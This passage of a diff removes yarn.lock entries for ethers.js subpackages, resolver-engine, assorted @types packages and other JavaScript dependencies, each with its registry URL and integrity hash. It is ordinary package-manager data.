-  resolved "https://registry.yarnpkg.com/@ethersproject/constants/-/constants-5.1.0.tgz#4e7da6367ea0e9be87585d8b09f3fccf384b1452"
-  integrity sha512-0/SuHrxc8R8k+JiLmJymxHJbojUDWBQqO+b+XFdwaP0jGzqC09YDy/CAlSZB6qHsBifY8X3I89HcK/oMqxRdBw==
-  dependencies:
-    "@ethersproject/bignumber" "^5.1.0"
-
-"@ethersproject/contracts@5.1.1":
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/@ethersproject/contracts/-/contracts-5.1.1.tgz#c66cb6d618fcbd73e20a6b808e8f768b2b781d0b"
-  integrity sha512-6WwktLJ0DFWU8pDkgH4IGttQHhQN4SnwKFu9h+QYVe48VGWtbDu4W8/q/7QA1u/HWlWMrKxqawPiZUJj0UMvOw==
-  dependencies:
-    "@ethersproject/abi" "^5.1.0"
-    "@ethersproject/abstract-provider" "^5.1.0"
-    "@ethersproject/abstract-signer" "^5.1.0"
-    "@ethersproject/address" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/constants" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/transactions" "^5.1.0"
-
-"@ethersproject/hash@5.1.0", "@ethersproject/hash@>=5.0.0-beta.128", "@ethersproject/hash@^5.0.4", "@ethersproject/hash@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/hash/-/hash-5.1.0.tgz#40961d64837d57f580b7b055e0d74174876d891e"
-  integrity sha512-fNwry20yLLPpnRRwm3fBL+2ksgO+KMadxM44WJmRIoTKzy4269+rbq9KFoe2LTqq2CXJM2CE70beGaNrpuqflQ==
-  dependencies:
-    "@ethersproject/abstract-signer" "^5.1.0"
-    "@ethersproject/address" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/keccak256" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-
-"@ethersproject/hdnode@5.1.0", "@ethersproject/hdnode@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/hdnode/-/hdnode-5.1.0.tgz#2bf5c4048935136ce83e9242e1bd570afcc0bc83"
-  integrity sha512-obIWdlujloExPHWJGmhJO/sETOOo7SEb6qemV4f8kyFoXg+cJK+Ta9SvBrj7hsUK85n3LZeZJZRjjM7oez3Clg==
-  dependencies:
-    "@ethersproject/abstract-signer" "^5.1.0"
-    "@ethersproject/basex" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/pbkdf2" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/sha2" "^5.1.0"
-    "@ethersproject/signing-key" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-    "@ethersproject/transactions" "^5.1.0"
-    "@ethersproject/wordlists" "^5.1.0"
-
-"@ethersproject/json-wallets@5.1.0", "@ethersproject/json-wallets@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/json-wallets/-/json-wallets-5.1.0.tgz#bba7af2e520e8aea4d3829d80520db5d2e4fb8d2"
-  integrity sha512-00n2iBy27w8zrGZSiU762UOVuzCQZxUZxopsZC47++js6xUFuI74DHcJ5K/2pddlF1YBskvmMuboEu1geK8mnA==
-  dependencies:
-    "@ethersproject/abstract-signer" "^5.1.0"
-    "@ethersproject/address" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/hdnode" "^5.1.0"
-    "@ethersproject/keccak256" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/pbkdf2" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/random" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-    "@ethersproject/transactions" "^5.1.0"
-    aes-js "3.0.0"
-    scrypt-js "3.0.1"
-
-"@ethersproject/keccak256@5.1.0", "@ethersproject/keccak256@>=5.0.0-beta.127", "@ethersproject/keccak256@^5.0.3", "@ethersproject/keccak256@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/keccak256/-/keccak256-5.1.0.tgz#fdcd88fb13bfef4271b225cdd8dec4d315c8e60e"
-  integrity sha512-vrTB1W6AEYoadww5c9UyVJ2YcSiyIUTNDRccZIgwTmFFoSHwBtcvG1hqy9RzJ1T0bMdATbM9Hfx2mJ6H0i7Hig==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    js-sha3 "0.5.7"
-
-"@ethersproject/logger@5.1.0", "@ethersproject/logger@>=5.0.0-beta.129", "@ethersproject/logger@^5.0.5", "@ethersproject/logger@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/logger/-/logger-5.1.0.tgz#4cdeeefac029373349d5818f39c31b82cc6d9bbf"
-  integrity sha512-wtUaD1lBX10HBXjjKV9VHCBnTdUaKQnQ2XSET1ezglqLdPdllNOIlLfhyCRqXm5xwcjExVI5ETokOYfjPtaAlw==
-
-"@ethersproject/networks@5.1.0", "@ethersproject/networks@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/networks/-/networks-5.1.0.tgz#f537290cb05aa6dc5e81e910926c04cfd5814bca"
-  integrity sha512-A/NIrIED/G/IgU1XUukOA3WcFRxn2I4O5GxsYGA5nFlIi+UZWdGojs85I1VXkR1gX9eFnDXzjE6OtbgZHjFhIA==
-  dependencies:
-    "@ethersproject/logger" "^5.1.0"
-
-"@ethersproject/pbkdf2@5.1.0", "@ethersproject/pbkdf2@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/pbkdf2/-/pbkdf2-5.1.0.tgz#6b740a85dc780e879338af74856ca2c0d3b24d19"
-  integrity sha512-B8cUbHHTgs8OtgJIafrRcz/YPDobVd5Ru8gTnShOiM9EBuFpYHQpq3+8iQJ6pyczDu6HP/oc/njAsIBhwFZYew==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/sha2" "^5.1.0"
-
-"@ethersproject/properties@5.1.0", "@ethersproject/properties@>=5.0.0-beta.131", "@ethersproject/properties@^5.0.3", "@ethersproject/properties@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/properties/-/properties-5.1.0.tgz#9484bd6def16595fc6e4bdc26f29dff4d3f6ac42"
-  integrity sha512-519KKTwgmH42AQL3+GFV3SX6khYEfHsvI6v8HYejlkigSDuqttdgVygFTDsGlofNFchhDwuclrxQnD5B0YLNMg==
-  dependencies:
-    "@ethersproject/logger" "^5.1.0"
-
-"@ethersproject/providers@5.1.2":
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/@ethersproject/providers/-/providers-5.1.2.tgz#4e4459698903f911402fe91aa7544eb07f3921ed"
-  integrity sha512-GqsS8rd+eyd4eNkcNgzZ4l9IRULBPUZa7JPnv22k4MHflMobUseyhfbVnmoN5bVNNkOxjV1IPTw9i0sV1hwdpg==
-  dependencies:
-    "@ethersproject/abstract-provider" "^5.1.0"
-    "@ethersproject/abstract-signer" "^5.1.0"
-    "@ethersproject/address" "^5.1.0"
-    "@ethersproject/basex" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/constants" "^5.1.0"
-    "@ethersproject/hash" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/networks" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/random" "^5.1.0"
-    "@ethersproject/rlp" "^5.1.0"
-    "@ethersproject/sha2" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-    "@ethersproject/transactions" "^5.1.0"
-    "@ethersproject/web" "^5.1.0"
-    bech32 "1.1.4"
-    ws "7.2.3"
-
-"@ethersproject/random@5.1.0", "@ethersproject/random@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/random/-/random-5.1.0.tgz#0bdff2554df03ebc5f75689614f2d58ea0d9a71f"
-  integrity sha512-+uuczLQZ4+no9cP6TCoCktXx0u2YbNaRT7lRkSt12d8263e702f0u+4JnnRO8Qmv5nylWJebnqCHzyxP+6mLqw==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-
-"@ethersproject/rlp@5.1.0", "@ethersproject/rlp@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/rlp/-/rlp-5.1.0.tgz#700f4f071c27fa298d3c1d637485fefe919dd084"
-  integrity sha512-vDTyHIwNPrecy55gKGZ47eJZhBm8LLBxihzi5ou+zrSvYTpkSTWRcKUlXFDFQVwfWB+P5PGyERAdiDEI76clxw==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-
-"@ethersproject/sha2@5.1.0", "@ethersproject/sha2@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/sha2/-/sha2-5.1.0.tgz#6ca42d1a26884b3e32ffa943fe6494af7211506c"
-  integrity sha512-+fNSeZRstOpdRJpdGUkRONFCaiAqWkc91zXgg76Nlp5ndBQE25Kk5yK8gCPG1aGnCrbariiPr5j9DmrYH78JCA==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    hash.js "1.1.3"
-
-"@ethersproject/signing-key@5.1.0", "@ethersproject/signing-key@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/signing-key/-/signing-key-5.1.0.tgz#6eddfbddb6826b597b9650e01acf817bf8991b9c"
-  integrity sha512-tE5LFlbmdObG8bY04NpuwPWSRPgEswfxweAI1sH7TbP0ml1elNfqcq7ii/3AvIN05i5U0Pkm3Tf8bramt8MmLw==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    bn.js "^4.4.0"
-    elliptic "6.5.4"
-
-"@ethersproject/solidity@5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/solidity/-/solidity-5.1.0.tgz#095a9c75244edccb26c452c155736d363399b954"
-  integrity sha512-kPodsGyo9zg1g9XSXp1lGhFaezBAUUsAUB1Vf6OkppE5Wksg4Et+x3kG4m7J/uShDMP2upkJtHNsIBK2XkVpKQ==
-  dependencies:
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/keccak256" "^5.1.0"
-    "@ethersproject/sha2" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-
-"@ethersproject/strings@5.1.0", "@ethersproject/strings@>=5.0.0-beta.130", "@ethersproject/strings@^5.0.4", "@ethersproject/strings@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/strings/-/strings-5.1.0.tgz#0f95a56c3c8c9d5510a06c241d818779750e2da5"
-  integrity sha512-perBZy0RrmmL0ejiFGUOlBVjMsUceqLut3OBP3zP96LhiJWWbS8u1NqQVgN4/Gyrbziuda66DxiQocXhsvx+Sw==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/constants" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-
-"@ethersproject/transactions@5.1.1", "@ethersproject/transactions@^5.0.0-beta.135", "@ethersproject/transactions@^5.1.0":
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/@ethersproject/transactions/-/transactions-5.1.1.tgz#5a6bbb25fb062c3cc75eb0db12faefcdd3870813"
-  integrity sha512-Nwgbp09ttIVN0OoUBatCXaHxR7grWPHbozJN8v7AXDLrl6nnOIBEMDh+yJTnosSQlFhcyjfTGGN+Mx6R8HdvMw==
-  dependencies:
-    "@ethersproject/address" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/constants" "^5.1.0"
-    "@ethersproject/keccak256" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/rlp" "^5.1.0"
-    "@ethersproject/signing-key" "^5.1.0"
-
-"@ethersproject/units@5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/units/-/units-5.1.0.tgz#b6ab3430ebc22adc3cb4839516496f167bee3ad5"
-  integrity sha512-isvJrx6qG0nKWfxsGORNjmOq/nh175fStfvRTA2xEKrGqx8JNJY83fswu4GkILowfriEM/eYpretfJnfzi7YhA==
-  dependencies:
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/constants" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-
-"@ethersproject/wallet@5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/wallet/-/wallet-5.1.0.tgz#134c5816eaeaa586beae9f9ff67891104a2c9a15"
-  integrity sha512-ULmUtiYQLTUS+y3DgkLzRhFEK10zMwmjOthnjiZxee3Q/MVwr3rnmuAnXIUZrPjna6hvUPnyRIdW5XuF0Ld0YQ==
-  dependencies:
-    "@ethersproject/abstract-provider" "^5.1.0"
-    "@ethersproject/abstract-signer" "^5.1.0"
-    "@ethersproject/address" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/hash" "^5.1.0"
-    "@ethersproject/hdnode" "^5.1.0"
-    "@ethersproject/json-wallets" "^5.1.0"
-    "@ethersproject/keccak256" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/random" "^5.1.0"
-    "@ethersproject/signing-key" "^5.1.0"
-    "@ethersproject/transactions" "^5.1.0"
-    "@ethersproject/wordlists" "^5.1.0"
-
-"@ethersproject/web@5.1.0", "@ethersproject/web@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/web/-/web-5.1.0.tgz#ed56bbe4e3d9a8ffe3b2ed882da5c62d3551381b"
-  integrity sha512-LTeluWgTq04+RNqAkVhpydPcRZK/kKxD2Vy7PYGrAD27ABO9kTqTBKwiOuzTyAHKUQHfnvZbXmxBXJAGViSDcA==
-  dependencies:
-    "@ethersproject/base64" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-
-"@ethersproject/wordlists@5.1.0", "@ethersproject/wordlists@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/wordlists/-/wordlists-5.1.0.tgz#54eb9ef3a00babbff90ffe124e19c89e07e6aace"
-  integrity sha512-NsUCi/TpBb+oTFvMSccUkJGtp5o/84eOyqp5q5aBeiNBSLkYyw21znRn9mAmxZgySpxgruVgKbaapnYPgvctPQ==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/hash" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-
-"@resolver-engine/core@^0.3.3":
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/@resolver-engine/core/-/core-0.3.3.tgz#590f77d85d45bc7ecc4e06c654f41345db6ca967"
-  integrity sha512-eB8nEbKDJJBi5p5SrvrvILn4a0h42bKtbCTri3ZxCGt6UvoQyp7HnGOfki944bUjBSHKK3RvgfViHn+kqdXtnQ==
-  dependencies:
-    debug "^3.1.0"
-    is-url "^1.2.4"
-    request "^2.85.0"
-
-"@resolver-engine/fs@^0.3.3":
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/@resolver-engine/fs/-/fs-0.3.3.tgz#fbf83fa0c4f60154a82c817d2fe3f3b0c049a973"
-  integrity sha512-wQ9RhPUcny02Wm0IuJwYMyAG8fXVeKdmhm8xizNByD4ryZlx6PP6kRen+t/haF43cMfmaV7T3Cx6ChOdHEhFUQ==
-  dependencies:
-    "@resolver-engine/core" "^0.3.3"
-    debug "^3.1.0"
-
-"@resolver-engine/imports-fs@^0.3.3":
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/@resolver-engine/imports-fs/-/imports-fs-0.3.3.tgz#4085db4b8d3c03feb7a425fbfcf5325c0d1e6c1b"
-  integrity sha512-7Pjg/ZAZtxpeyCFlZR5zqYkz+Wdo84ugB5LApwriT8XFeQoLwGUj4tZFFvvCuxaNCcqZzCYbonJgmGObYBzyCA==
-  dependencies:
-    "@resolver-engine/fs" "^0.3.3"
-    "@resolver-engine/imports" "^0.3.3"
-    debug "^3.1.0"
-
-"@resolver-engine/imports@^0.3.3":
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/@resolver-engine/imports/-/imports-0.3.3.tgz#badfb513bb3ff3c1ee9fd56073e3144245588bcc"
-  integrity sha512-anHpS4wN4sRMwsAbMXhMfOD/y4a4Oo0Cw/5+rue7hSwGWsDOQaAU1ClK1OxjUC35/peazxEl8JaSRRS+Xb8t3Q==
-  dependencies:
-    "@resolver-engine/core" "^0.3.3"
-    debug "^3.1.0"
-    hosted-git-info "^2.6.0"
-    path-browserify "^1.0.0"
-    url "^0.11.0"
-
-"@sindresorhus/is@^0.14.0":
-  version "0.14.0"
-  resolved "https://registry.yarnpkg.com/@sindresorhus/is/-/is-0.14.0.tgz#9fb3a3cf3132328151f353de4632e01e52102bea"
-  integrity sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==
-
-"@szmarczak/http-timer@^1.1.2":
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/@szmarczak/http-timer/-/http-timer-1.1.2.tgz#b1665e2c461a2cd92f4c1bbf50d5454de0d4b421"
-  integrity sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==
-  dependencies:
-    defer-to-connect "^1.0.1"
-
-"@typechain/ethers-v5@^2.0.0":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@typechain/ethers-v5/-/ethers-v5-2.0.0.tgz#cd3ca1590240d587ca301f4c029b67bfccd08810"
-  integrity sha512-0xdCkyGOzdqh4h5JSf+zoWx85IusEjDcPIwNEHP8mrWSnCae4rvrqB+/gtpdNfX7zjlFlZiMeePn2r63EI3Lrw==
-  dependencies:
-    ethers "^5.0.2"
-
-"@types/bn.js@^4.11.3", "@types/bn.js@^4.11.5":
-  version "4.11.6"
-  resolved "https://registry.yarnpkg.com/@types/bn.js/-/bn.js-4.11.6.tgz#c306c70d9358aaea33cd4eda092a742b9505967c"
-  integrity sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg==
-  dependencies:
-    "@types/node" "*"
-
-"@types/bn.js@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@types/bn.js/-/bn.js-5.1.0.tgz#32c5d271503a12653c62cf4d2b45e6eab8cebc68"
-  integrity sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==
-  dependencies:
-    "@types/node" "*"
-
-"@types/mkdirp@^0.5.2":
-  version "0.5.2"
-  resolved "https://registry.yarnpkg.com/@types/mkdirp/-/mkdirp-0.5.2.tgz#503aacfe5cc2703d5484326b1b27efa67a339c1f"
-  integrity sha512-U5icWpv7YnZYGsN4/cmh3WD2onMY0aJIiTE6+51TwJCttdHvtCYmkBNOobHlXwrJRL0nkH9jH4kD+1FAdMN4Tg==
-  dependencies:
-    "@types/node" "*"
-
-"@types/node-fetch@^2.5.5":
-  version "2.5.10"
-  resolved "https://registry.yarnpkg.com/@types/node-fetch/-/node-fetch-2.5.10.tgz#9b4d4a0425562f9fcea70b12cb3fcdd946ca8132"
-  integrity sha512-IpkX0AasN44hgEad0gEF/V6EgR5n69VEqPEgnmoM8GsIGro3PowbWs4tR6IhxUTyPLpOn+fiGG6nrQhcmoCuIQ==
-  dependencies:
-    "@types/node" "*"
-    form-data "^3.0.0"
-
-"@types/node@*":
-  version "15.3.0"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-15.3.0.tgz#d6fed7d6bc6854306da3dea1af9f874b00783e26"
-  integrity sha512-8/bnjSZD86ZfpBsDlCIkNXIvm+h6wi9g7IqL+kmFkQ+Wvu3JrasgLElfiPgoo8V8vVfnEi0QVS12gbl94h9YsQ==
-
-"@types/node@^12.12.6":
-  version "12.20.13"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-12.20.13.tgz#e743bae112bd779ac9650f907197dd2caa7f0364"
-  integrity sha512-1x8W5OpxPq+T85OUsHRP6BqXeosKmeXRtjoF39STcdf/UWLqUsoehstZKOi0CunhVqHG17AyZgpj20eRVooK6A==
-
-"@types/pbkdf2@^3.0.0":
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/@types/pbkdf2/-/pbkdf2-3.1.0.tgz#039a0e9b67da0cdc4ee5dab865caa6b267bb66b1"
-  integrity sha512-Cf63Rv7jCQ0LaL8tNXmEyqTHuIJxRdlS5vMh1mj5voN4+QFhVZnlZruezqpWYDiJ8UTzhP0VmeLXCmBk66YrMQ==
-  dependencies:
-    "@types/node" "*"
-
-"@types/prettier@^2.1.1":
-  version "2.2.3"
-  resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.2.3.tgz#ef65165aea2924c9359205bf748865b8881753c0"
-  integrity sha512-PijRCG/K3s3w1We6ynUKdxEc5AcuuH3NBmMDP8uvKVp6X43UY7NQlTzczakXP3DJR0F4dfNQIGjU2cUeRYs2AA==
-
-"@types/resolve@^0.0.8":
-  version "0.0.8"
-  resolved "https://registry.yarnpkg.com/@types/resolve/-/resolve-0.0.8.tgz#f26074d238e02659e323ce1a13d041eee280e194"
-  integrity sha512-auApPaJf3NPfe18hSoJkp8EbZzer2ISk7o8mCC3M9he/a04+gbMF97NkpD2S8riMGvm4BMRI59/SZQSaLTKpsQ==
-  dependencies:
-    "@types/node" "*"
-
-"@types/secp256k1@^4.0.1":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@types/secp256k1/-/secp256k1-4.0.2.tgz#20c29a87149d980f64464e56539bf4810fdb5d1d"
-  integrity sha512-QMg+9v0bbNJ2peLuHRWxzmy0HRJIG6gFZNhaRSp7S3ggSbCCxiqQB2/ybvhXyhHOCequpNkrx7OavNhrWOsW0A==
-  dependencies:
-    "@types/node" "*"
-
-"@ungap/promise-all-settled@1.1.2":
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz#aa58042711d6e3275dd37dc597e5d31e8c290a44"
-  integrity sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==
-
-"@yarnpkg/lockfile@^1.1.0":
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/@yarnpkg/lockfile/-/lockfile-1.1.0.tgz#e77a97fbd345b76d83245edcd17d393b1b41fb31"
-  integrity sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==
-
-abstract-leveldown@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/abstract-leveldown/-/abstract-leveldown-3.0.0.tgz#5cb89f958a44f526779d740d1440e743e0c30a57"
-  integrity sha512-KUWx9UWGQD12zsmLNj64/pndaz4iJh/Pj7nopgkfDG6RlCcbMZvT6+9l7dchK4idog2Is8VdC/PvNbFuFmalIQ==
-  dependencies:
-    xtend "~4.0.0"
-
-abstract-leveldown@^2.4.1, abstract-leveldown@~2.7.1:
-  version "2.7.2"
-  resolved "https://registry.yarnpkg.com/abstract-leveldown/-/abstract-leveldown-2.7.2.tgz#87a44d7ebebc341d59665204834c8b7e0932cc93"
-  integrity sha512-+OVvxH2rHVEhWLdbudP6p0+dNMXu8JA1CbhP19T8paTYAcX7oJ4OVjT+ZUVpv7mITxXHqDMej+GdqXBmXkw09w==
-  dependencies:
-    xtend "~4.0.0"
-
-abstract-leveldown@^5.0.0, abstract-leveldown@~5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/abstract-leveldown/-/abstract-leveldown-5.0.0.tgz#f7128e1f86ccabf7d2893077ce5d06d798e386c6"
-  integrity sha512-5mU5P1gXtsMIXg65/rsYGsi93+MlogXZ9FA8JnwKurHQg64bfXwGYVdVdijNTVNOlAsuIiOwHdvFFD5JqCJQ7A==
-  dependencies:
-    xtend "~4.0.0"
-
-abstract-leveldown@~2.6.0:
-  version "2.6.3"
-  resolved "https://registry.yarnpkg.com/abstract-leveldown/-/abstract-leveldown-2.6.3.tgz#1c5e8c6a5ef965ae8c35dfb3a8770c476b82c4b8"
-  integrity sha512-2++wDf/DYqkPR3o5tbfdhF96EfMApo1GpPfzOsR/ZYXdkSmELlvOOEAl9iKkRsktMPHdGjO4rtkBpf2I7TiTeA==
-  dependencies:
-    xtend "~4.0.0"
-
-accepts@~1.3.7:
-  version "1.3.7"
-  resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
-  integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==
-  dependencies:
-    mime-types "~2.1.24"
-    negotiator "0.6.2"
-
-aes-js@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/aes-js/-/aes-js-3.0.0.tgz#e21df10ad6c2053295bcbb8dab40b09dbea87e4d"
-  integrity sha1-4h3xCtbCBTKVvLuNq0Cwnb6ofk0=
-
-aes-js@^3.1.1:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/aes-js/-/aes-js-3.1.2.tgz#db9aabde85d5caabbfc0d4f2a4446960f627146a"
-  integrity sha512-e5pEa2kBnBOgR4Y/p20pskXI74UEz7de8ZGVo58asOtvSVG5YAbJeELPZxOmt+Bnz3rX753YKhfIn4X4l1PPRQ==
-
-ajv@^6.12.3:
-  version "6.12.6"
-  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
-  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
-  dependencies:
-    fast-deep-equal "^3.1.1"
-    fast-json-stable-stringify "^2.0.0"
-    json-schema-traverse "^0.4.1"
-    uri-js "^4.2.2"
-
-ansi-colors@4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.1.tgz#cbb9ae256bf750af1eab344f229aa27fe94ba348"
-  integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==
-
-ansi-regex@^2.0.0:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-  integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
-
-ansi-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-  integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
-
-ansi-regex@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75"
-  integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==
-
-ansi-styles@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
-  integrity sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=
-
-ansi-styles@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
-  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
-  dependencies:
-    color-convert "^1.9.0"
-
-ansi-styles@^4.0.0, ansi-styles@^4.1.0:
-  version "4.3.0"
